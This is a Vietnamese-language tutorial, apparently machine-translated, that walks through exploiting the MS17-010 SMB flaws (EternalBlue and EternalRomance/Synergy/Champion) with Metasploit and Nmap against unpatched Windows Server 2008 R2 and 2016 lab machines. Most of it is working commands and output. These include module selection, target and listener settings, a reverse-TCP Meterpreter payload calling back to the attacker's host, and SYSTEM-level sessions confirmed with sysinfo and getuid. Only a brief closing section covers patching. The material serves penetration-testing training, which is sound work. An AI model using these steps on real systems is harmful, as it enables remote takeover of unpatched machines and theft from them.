Các lỗ hổng và khai thác đặc biệt xuất hiện và tạo ra các tiêu đề với những cái tên hấp dẫn. EternalBlue là một trong những khai thác đó. Ban đầu gắn liền với NSA, khai thác này đã khai thác một lỗ hổng trong giao thức SMB, ảnh hưởng đến nhiều máy Windows và tàn phá khắp nơi. Tại đây sẽ sử dụng EternalBlue để khai thác SMB thông qua Metasploit.
Các lỗ hổng và khai thác đặc biệt xuất hiện và tạo ra các tiêu đề với những cái tên hấp dẫn. EternalBlue là một trong những khai thác đó. Ban đầu gắn liền với NSA, khai thác này đã khai thác một lỗ hổng trong giao thức SMB, ảnh hưởng đến nhiều máy Windows và tàn phá khắp nơi. Tại đây sẽ sử dụng EternalBlue để khai thác SMB thông qua Metasploit.
EternalBlue là gì?
EternalBlue là một khai thác rất có thể được NSA phát triển. Nó được phát hành vào năm 2017 bởi Shadow Brokers , một nhóm tin tặc nổi tiếng với các công cụ rò rỉ và khai thác được sử dụng bởi Equation Group , có liên quan đến đơn vị Hoạt động truy cập phù hợp của NSA.
EternalBlue, còn được gọi là MS17-010 , là một lỗ hổng trong giao thức SMB ( Server Message Block ) của Microsoft . SMB cho phép các hệ thống chia sẻ quyền truy cập vào các tệp, máy in và các tài nguyên khác trên mạng. Lỗ hổng được phép xảy ra vì các phiên bản trước của SMB có một lỗ hổng cho phép kẻ tấn công thiết lập kết nối phiên null thông qua đăng nhập ẩn danh. Kẻ tấn công sau đó có thể gửi các gói không đúng định dạng và cuối cùng thực hiện các lệnh tùy ý trên mục tiêu.
EternalBlue chịu trách nhiệm chính cho sự bùng phát của ransomware WannaCry , NotPetya và BadRmus, cũng như sâu EternalRocks.
Tùy chọn 1 Khai thác EternalBlue với Metasploit
Chúng tôi sẽ sử dụng một bản sao chưa được vá của Windows Server 2008 R2 làm mục tiêu cho phần đầu tiên của hướng dẫn này. Một bản đánh giá có thể được tải xuống từ Microsoft để bạn có thể theo dõi tốt hơn.
Bước 1Tìm mô-đun để sử dụng
Điều đầu tiên chúng ta cần làm là mở terminal và khởi động Metasploit . Loại dịch vụ PostgreSQL bắt đầu để khởi tạo cơ sở dữ liệu PostgreSQL, nếu nó không được chạy đã, tiếp theo là msfconsole .
service postgresql start
msfconsole
Tiếp theo, sử dụng lệnh tìm kiếm trong Metasploit để xác định vị trí mô-đun phù hợp để sử dụng.
search eternalblue
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
Có một máy quét phụ trợ mà chúng ta có thể chạy để xác định xem mục tiêu có dễ bị MS17-010 không . Nó luôn luôn là một ý tưởng tốt để thực hiện cần thiết trinh sát như thế này. Mặt khác, bạn có thể sẽ lãng phí rất nhiều thời gian nếu mục tiêu thậm chí không dễ bị tổn thương.
Khi chúng tôi đã xác định rằng mục tiêu của chúng tôi thực sự dễ bị tổn thương đối với EternalBlue, chúng tôi có thể sử dụng mô-đun khai thác sau từ tìm kiếm chúng tôi vừa thực hiện.
use exploit/windows/smb/ms17_010_eternalblue
Bạn sẽ biết bạn tốt nếu bạn thấy lời nhắc “khai thác (windows / smb / ms17_010_eternalblue)”.
Bước 2 Chạy mô-đun
Chúng ta có thể xem các cài đặt hiện tại bằng lệnh tùy chọn .
options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
Đầu tiên, chúng ta cần chỉ định địa chỉ IP của mục tiêu.
set rhosts 10.10.0.101
rhosts => 10.10.0.101
Tiếp theo, chúng ta có thể tải shell Reverse_tcp đáng tin cậy làm tải trọng .
set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
Cuối cùng, đặt máy chủ nghe thành địa chỉ IP của máy cục bộ của chúng tôi.
set lhost 10.10.0.1
lhost => 10.10.0.1
Và cổng nghe đến một số phù hợp.
set lport 4321
lport => 4321
Đó phải là tất cả mọi thứ, vì vậy điều duy nhất còn lại phải làm là khởi động khai thác. Sử dụng lệnh chạy để bắn nó đi.
run
[*] Started reverse TCP handler on 10.10.0.1:4321
[*] 10.10.0.101:445 - Connecting to target for exploitation.
[+] 10.10.0.101:445 - Connection established for exploitation.
[+] 10.10.0.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.101:445 - CORE raw buffer dump (51 bytes)
[*] 10.10.0.101:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 10.10.0.101:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
[*] 10.10.0.101:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
[*] 10.10.0.101:445 - 0x00000030 6b 20 31 k 1
[+] 10.10.0.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.101:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.101:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.101:445 - Starting non-paged pool grooming
[+] 10.10.0.101:445 - Sending SMBv2 buffers
[+] 10.10.0.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.101:445 - Sending final SMBv2 buffers.
[*] 10.10.0.101:445 - Sending last fragment of exploit packet!
[*] 10.10.0.101:445 - Receiving response from exploit packet
[+] 10.10.0.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.101:445 - Sending egg to corrupted connection.
[*] 10.10.0.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.101
[*] Meterpreter session 1 opened (10.10.0.1:4321 -> 10.10.0.101:49207) at 2019-03-26 11:01:46 -0500
[+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
Chúng tôi thấy một vài điều xảy ra ở đây, như kết nối SMB được thiết lập và gói khai thác được gửi. Cuối cùng, chúng ta thấy một “THẮNG” và một phiên mét được mở. Đôi khi, lần khai thác này sẽ không hoàn thành thành công ngay lần đầu tiên, vì vậy nếu nó không thử lại và nó sẽ hoàn thành.
Bước 3 Xác minh mục tiêu đã thỏa hiệp
Chúng tôi có thể xác minh rằng chúng tôi đã thỏa hiệp mục tiêu bằng cách chạy các lệnh như sysinfo để lấy thông tin hệ điều hành.
sysinfo
Computer : S02
OS : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : DLAB
Logged On Users : 2
Meterpreter : x64/windows
Và getuid để có được tên người dùng hiện tại.
getuid
Server username: NT AUTHORITY\SYSTEM
Khai thác này không hoạt động tốt trên các hệ thống mới hơn và trong một số trường hợp, nó có thể làm sập máy đích. Tiếp theo, chúng ta sẽ khám phá một khai thác tương tự đáng tin cậy hơn một chút, nhưng cũng nguy hiểm chết người.
Tùy chọn 2: EternalRomance / EternalSynergy / EternalChampion
Như thể EternalBlue không đủ sức tàn phá, ba khai thác tương tự đã được phát triển sau đó. EternalRomance và EternalSynergy khai thác một loại nhầm lẫn ( CVE-2017-0143 ), trong khi EternalChampion và EternalSynergy khai thác một điều kiện chủng tộc ( CVE-2017-0146 ).
Chúng được kết hợp thành một mô-đun Metasploit duy nhất cũng sử dụng tải trọng psexec cổ điển. Nó được coi là đáng tin cậy hơn EternalBlue, ít có khả năng đánh sập mục tiêu và hoạt động trên tất cả các phiên bản Windows chưa được vá gần đây, cho đến Server 2016 và Windows 10.
Nhắc nhở duy nhất là khai thác này đòi hỏi một đường ống được đặt tên. Các ống được đặt tên cung cấp một phương thức để chạy các quy trình để giao tiếp với nhau, thường xuất hiện dưới dạng tệp để các quy trình khác đính kèm. Mô-đun Metasploit tự động kiểm tra các đường ống được đặt tên, làm cho nó khá đơn giản để sử dụng miễn là một đường ống có tên có mặt trên mục tiêu.
Bước 1: Tìm mục tiêu dễ bị tổn thương
Chúng ta có thể sử dụng Nmap như một giải pháp thay thế cho máy quét Metasploit để khám phá xem mục tiêu có dễ bị tấn công với EternalBlue hay không. Các Nmap Scripting Engine là một tính năng mạnh mẽ của công cụ cốt lõi cho phép tất cả các loại kịch bản để chạy chống lại một mục tiêu.
Tại đây, chúng tôi sẽ sử dụng tập lệnh smb-Vuln-ms17-010 để kiểm tra lỗ hổng. Mục tiêu của chúng tôi sẽ là một bản sao chưa từng có của phiên bản Windows Server 2016 Datacenter. Bản sao đánh giá có thể được tải xuống từ Microsoft để bạn có thể theo dõi nếu muốn.
Chúng tôi có thể chỉ định một tập lệnh duy nhất để chạy với tùy chọn –script , cùng với cờ -v cho mức độ chi tiết và địa chỉ IP của mục tiêu của chúng tôi. Đầu tiên, thay đổi thư mục trong trường hợp bạn vẫn đang chạy Metasploit.
cd
nmap --script smb-vuln-ms17-010 -v 10.10.0.100
Nmap sẽ bắt đầu chạy và không mất quá nhiều thời gian vì chúng tôi chỉ chạy một tập lệnh. Ở dưới cùng của đầu ra, chúng tôi sẽ tìm thấy kết quả.
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-26 11:05 CDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:05
...
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
NSE: Script Post-scanning.
Initiating NSE at 11:05
Completed NSE at 11:05, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds
Raw packets sent: 1181 (51.948KB) | Rcvd: 1001 (40.060KB)
Chúng ta có thể thấy nó liệt kê mục tiêu là dễ bị tổn thương, cùng với thông tin bổ sung như các yếu tố rủi ro và liên kết đến CVE.
Bước 2 Tìm mô-đun để sử dụng
Bây giờ chúng tôi biết mục tiêu dễ bị tổn thương, chúng tôi có thể quay lại Metasploit và tìm kiếm một khai thác thích hợp.
msfconsole
search eternalromance
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
exploit/windows/smb/ms17_010_psexec 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
Và tải mô-đun trong Metasploit bằng lệnh use .
use exploit/windows/smb/ms17_010_psexec
Bạn sẽ biết bạn tốt nếu bạn thấy lời nhắc “khai thác (windows / smb / ms17_010_psexec)”.
Bước 3: Chạy mô-đun
Hãy xem xét các lựa chọn của chúng tôi:
options
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The Target port
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Exploit target:
Id Name
-- ----
0 Automatic
Có vẻ như khai thác này sử dụng một danh sách các đường ống được đặt tên để kiểm tra và kết nối với một chia sẻ. Hiện tại chúng ta có thể để tất cả điều này là mặc định, nhưng chúng ta cần đặt máy chủ từ xa.
set rhosts 10.10.0.100
rhosts => 10.10.0.100
Và tải trọng vỏ ngược.
set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
Và chủ nhà địa phương
set lhost 10.10.0.1
lhost => 10.10.0.1
Và cảng địa phương.
set lport 4321
lport => 4321
Chúng ta nên đi ngay bây giờ. Gõ chạy để khởi chạy khai thác.
run
[*] Started reverse TCP handler on 10.10.0.1:4321
[*] 10.10.0.100:445 - Target OS: Windows Server 2016 Standard Evaluation 14393
[*] 10.10.0.100:445 - Built a write-what-where primitive...
[+] 10.10.0.100:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.0.100:445 - Selecting PowerShell target
[*] 10.10.0.100:445 - Executing the payload...
[+] 10.10.0.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (206403 bytes) to 10.10.0.100
[*] Meterpreter session 2 opened (10.10.0.1:4321 -> 10.10.0.100:49965) at 2019-03-26 11:12:30 -0500
Chúng tôi có thể thấy tải trọng được thực thi thành công và chúng tôi kết thúc với phiên Đồng hồ đo.
Bước 4: Xác minh mục tiêu đã thỏa hiệp
Một lần nữa, chúng tôi có thể xác minh chúng tôi đã thỏa hiệp hệ thống bằng các lệnh như sysinfo .
sysinfo
Computer : DC01
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_US
Domain : DLAB
Logged On Users : 4
Meterpreter : x64/windows
Và getuid .
getuid
Server username: NT AUTHORITY\SYSTEM
Phòng ngừa & Hiện trạng
Bất chấp tất cả thiệt hại mà EternalBlue đã gây ra, có một cách đáng tin cậy để ngăn chặn các kiểu khai thác này: vá hệ thống của bạn! Tại thời điểm này, gần hai năm kể từ khi các lỗ hổng này được tiết lộ, thực sự không có lý do gì để có các hệ điều hành chưa được vá.
EternalBlue tiếp tục là một vấn đề, và mặc dù hậu quả rất nghiêm trọng, thật không may, một số tổ chức vẫn sẽ chạy các hệ thống chưa được vá. Điều đó, kết hợp với các phiên bản lậu của Windows, khiến EternalBlue trở thành mối đe dọa đáng kể cho đến ngày nay.
Cryptojacking, sử dụng máy tính của nạn nhân để bí mật khai thác tiền điện tử , là một vectơ đe dọa khác sử dụng EternalBlue để thúc đẩy các cuộc tấn công. WannaMine là một trong những vụ dịch đã tấn công máy tính trên toàn thế giới vào năm 2018.